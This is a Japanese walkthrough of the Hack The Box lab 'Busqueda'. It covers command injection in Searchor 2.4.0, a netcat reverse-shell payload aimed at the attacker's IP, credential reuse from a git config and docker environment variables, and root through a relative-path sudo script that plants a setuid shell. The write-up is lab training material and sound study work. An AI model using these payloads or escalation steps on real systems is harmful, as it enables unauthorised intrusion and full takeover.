Ch4n24n のアイコン

Ch4n24n

HTB Lab - Busqueda (Linux / Easy)

2026/11/09 公開約13分Writeups

HTBLinuxSearchorFlaskGiteaSudoPrivilege_Escalation

このBoxを学習教材にしないことをオススメします!!

Boxのファジング耐性が低すぎて、少し多くリクエストしたら、すぐに不通になります
本筋じゃないところで時間がかかるため、他のBoxを解いたほうがタイパがいいです

概要

  1. 開いている 80 で Searchor 2.4.0 がホストされていることを確認
    1. 検索フォームで CMDi が可能であることを確認。 ユーザーシェル(svc)を取得
  2. /var/www/app/.git/config の cody パスワードを利用し、sudo -l を確認
  3. Gitea(http://gitea.searcher.htb)にアクセスし、sudo で実行できるスクリプトの中身を確認
  4. 相対パスのハイジャック を実行し、管理者権限を取得

対象環境

項目値
問題Busqueda
難易度Easy
OSLinux
IP10.129.87.62
攻撃者IP10.10.15.95

攻撃フロー

1. 偵察

rustscan で全ポートを確認
開いているのは 22 / 80。80 は Apache 2.4.52 で、http://searcher.htb/ へリダイレクト

Ch4n24n@htb[/htb]$ rustscan -a $TARGET --ulimit 5000 -t 10000 -- -sC -sV --source-port 53 -reason -T5 -oA tcp-port-scan
Open 10.129.87.62:22
Open 10.129.87.62:80
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/

searcher.htb を /etc/hosts に足した

Ch4n24n@htb[/htb]$ echo $TARGET searcher.htb | sudo tee -a /etc/hosts
10.129.87.62 searcher.htb

2. 画面を確認

http://searcher.htb/

検索エンジンを選び、query を送るフォーム。フッターに Flask と Searchor 2.4.0 とある

3. ユーザシェルの取得

(1)脆弱性の調査

Googleで Searchor 2.4.0 poc と検索すると、AIが教えてくれた

(2)id で確認

フォームに以下を入力

項目値
Select your engine:Accuweather
What do you want to search for:', __import__('os').system('id'))#

コマンドが実行される

(3)リバースシェル

同じフォームにリバースシェルを入れる

', __import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.95 8200 >/tmp/f'))#

攻撃ホストで待つと、接続が来る

Ch4n24n@htb[/htb]$ rlwrap nc -nlvvp 8200
Listening on 0.0.0.0 8200
Connection received on 10.129.87.62 50066
$ whoami
svc

(4)ssh で固定

/home/svc/.ssh/authorized_keys に公開鍵を置き、ssh -i id_svc で svc のセッションを固定した

Ch4n24n@htb[/htb]$ ssh -i id_svc svc@$TARGET
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)
svc@busqueda:~$

4. git のパスワードで sudo

アプリディレクトリに .git がある。config の remote に cody のパスワードとホスト名 gitea.searcher.htb が載っている

svc@busqueda:/var/www/app/.git$ cat config
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

同じパスワードで svc の sudo -l が通る

svc@busqueda:~$ sudo -l
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

引数を付けると usage が出る

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
 
     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

スクリプトの中身は --x--x--x で読めない。
full-checkup のオプション名は、スクリプト側で定義している(っぽい)

svc@busqueda:/opt/scripts$ ls -arlt
total 28
drwxr-xr-x 3 root root 4096 Dec 24  2022 .
-rwx--x--x 1 root root 1903 Dec 24  2022 system-checkup.py
-rwx--x--x 1 root root 3346 Dec 24  2022 install-flask.sh
-rwx--x--x 1 root root  857 Dec 24  2022 full-checkup.sh
-rwx--x--x 1 root root  586 Dec 24  2022 check-ports.py
drwxr-xr-x 4 root root 4096 Mar  1  2023 ..
drwxr-x--- 8 root root 4096 Apr  3  2023 .git

5. Gitea でスクリプトを読む

ディスク上の system-checkup.py は読めない。docker-ps で内側の Gitea が出る

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED       STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 years ago   Up 2 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 years ago   Up 2 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

docker-inspect でコンテナの環境変数を取る。DB パスワードが出る

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{ range .Config.Env }}{{ println . }}{{ end }}' gitea
USER_UID=115
USER_GID=121
GITEA__database__DB_TYPE=mysql
GITEA__database__HOST=db:3306
GITEA__database__NAME=gitea
GITEA__database__USER=gitea
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
USER=git
GITEA_CUSTOM=/data/gitea
 
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{ range .Config.Env }}{{ println . }}{{ end }}' mysql_db
MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF
MYSQL_USER=gitea
MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh
MYSQL_DATABASE=gitea

full-checkup ではエラーが出る

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

以上の結果を用いて、以前出てきた gitea.searcher.htb を hosts に足して開き、administrator:yuiu1hoiu4i5ho1uh で Gitea に入る。

http://gitea.searcher.htb/administrator/scripts/src/branch/main/system-checkup.py

system-checkup.py の full-checkup のオプションは、/opt/scripts/full-checkup.sh ではなく ./full-checkup.sh を指定して起動していることがわかる

...SNIP...
    elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
...SNIP...

full-checkup でエラーが出てたのは、カレントディレクトリに full-checkup.sh が無かったからだった!

6. 相対パスで root

full-checkup は、実行したディレクトリにある ./full-checkup.sh を root で起動する
/home/svc に細工した full-checkup.sh を置き、実行ビットを立てることで、権限昇格を行う

svc@busqueda:~$ cat full-checkup.sh
#!/bin/bash
cp /bin/sh /tmp && chmod u+s /tmp/sh
 
svc@busqueda:~$ chmod u+x full-checkup.sh
 
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
 
svc@busqueda:~$ /tmp/sh -p
# whoami
root

参考

おわりに

  • Gitea のログインユーザに administrator を使う点が詰まるかもしれません。 あとは、自作した full-checkup.sh に実行権限をつけ忘れるなど、細々としたところで詰まるかも…
  • ゴールまでのシナリオは作り込まれているので、内容は良かったです
  • ただ、これを学習教材にするのは反対です! 理由としては、Boxのファジング耐性が低すぎて、ちょっと多くリクエストしたら、すぐに不通になるからです。 本筋じゃないところで時間がかかるため、やらなくていいです
次に読む
© 2026 Ch4n24n